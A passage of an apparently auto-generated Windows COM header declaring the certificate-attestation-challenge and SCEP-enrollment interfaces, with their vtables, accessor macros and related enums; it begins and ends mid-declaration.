(This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificateAttestationChallenge_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificateAttestationChallenge_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificateAttestationChallenge_Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge) ) \n\n#define ICertificateAttestationChallenge_DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA)\t\\\n    ( (This)->lpVtbl -> DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA) ) \n\n#define ICertificateAttestationChallenge_get_RequestID(This,pstrRequestID)\t\\\n    ( (This)->lpVtbl -> get_RequestID(This,pstrRequestID) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificateAttestationChallenge_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge2_INTERFACE_DEFINED__\n#define __ICertificateAttestationChallenge2_INTERFACE_DEFINED__\n\n/* interface ICertificateAttestationChallenge2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificateAttestationChallenge2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"4631334d-e266-47d6-bd79-be53cb2e2753\")\n    ICertificateAttestationChallenge2 : public ICertificateAttestationChallenge\n    {\n    public:\n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyContainerName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_KeyBlob( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificateAttestationChallenge2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificateAttestationChallenge2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificateAttestationChallenge2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificateAttestationChallenge2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPendingFullCmcResponseWithChallenge);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *DecryptChallenge )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEnvelopedPkcs7ReencryptedToCA);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestID )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestID);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerName )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyBlob )( \n            __RPC__in ICertificateAttestationChallenge2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } ICertificateAttestationChallenge2Vtbl;\n\n    interface ICertificateAttestationChallenge2\n    {\n        CONST_VTBL struct ICertificateAttestationChallenge2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificateAttestationChallenge2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificateAttestationChallenge2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificateAttestationChallenge2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificateAttestationChallenge2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificateAttestationChallenge2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificateAttestationChallenge2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificateAttestationChallenge2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificateAttestationChallenge2_Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strPendingFullCmcResponseWithChallenge) ) \n\n#define ICertificateAttestationChallenge2_DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA)\t\\\n    ( (This)->lpVtbl -> DecryptChallenge(This,Encoding,pstrEnvelopedPkcs7ReencryptedToCA) ) \n\n#define ICertificateAttestationChallenge2_get_RequestID(This,pstrRequestID)\t\\\n    ( (This)->lpVtbl -> get_RequestID(This,pstrRequestID) ) \n\n\n#define ICertificateAttestationChallenge2_put_KeyContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerName(This,Value) ) \n\n#define ICertificateAttestationChallenge2_put_KeyBlob(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyBlob(This,Encoding,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificateAttestationChallenge2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollment_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab361-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollment : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeForPending( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRequestMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRetrievePendingMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreateRetrieveCertificateMessage( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ProcessResponseMessage( \n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ServerCapabilities( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FailInfo( \n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OldCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_OldCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TransactionId( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_TransactionId( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Request( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CertificateFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CertificateFriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE DeleteRequest( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRequestMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrievePendingMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrieveCertificateMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ServerCapabilities )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FailInfo )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *DeleteRequest )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollmentVtbl;\n\n    interface IX509SCEPEnrollment\n    {\n        CONST_VTBL struct IX509SCEPEnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollment_Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding) ) \n\n#define IX509SCEPEnrollment_InitializeForPending(This,Context)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,Context) ) \n\n#define IX509SCEPEnrollment_CreateRequestMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequestMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_CreateRetrievePendingMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrievePendingMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_ProcessResponseMessage(This,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage(This,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment_put_ServerCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ServerCapabilities(This,Value) ) \n\n#define IX509SCEPEnrollment_get_FailInfo(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FailInfo(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_OldCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment_put_OldCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_OldCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_TransactionId(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_put_TransactionId(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Encoding,Value) ) \n\n#define IX509SCEPEnrollment_get_Request(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,ppValue) ) \n\n#define IX509SCEPEnrollment_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509SCEPEnrollment_put_CertificateFriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,Value) ) \n\n#define IX509SCEPEnrollment_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509SCEPEnrollment_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509SCEPEnrollment_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509SCEPEnrollment_DeleteRequest(This)\t\\\n    ( (This)->lpVtbl -> DeleteRequest(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollment_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0097 */\n/* [local] */ \n\ntypedef \nenum X509SCEPProcessMessageFlags\n    {\n        SCEPProcessDefault\t= 0,\n        SCEPProcessSkipCertInstall\t= 0x1\n    } \tX509SCEPProcessMessageFlags;\n\ntypedef \nenum DelayRetryAction\n    {\n        DelayRetryUnknown\t= 0,\n        DelayRetryNone\t= 1,\n        DelayRetryShort\t= 2,\n        DelayRetryLong\t= 3,\n        DelayRetrySuccess\t= 4,\n        DelayRetryPastSuccess\t= 5\n    } \tDelayRetryAction;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0097_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0097_v0_0_s_ifspec;\n\n#ifndef __IX509SCEPEnrollment2_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollment2_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollment2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollment2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab364-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollment2 : public IX509SCEPEnrollment\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE CreateChallengeAnswerMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ProcessResponseMessage2( \n            /* [in] */ X509SCEPProcessMessageFlags Flags,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ResultMessageText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DelayRetry( \n            /* [retval][out] */ __RPC__out DelayRetryAction *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ActivityId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ActivityId( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollment2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollment2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] 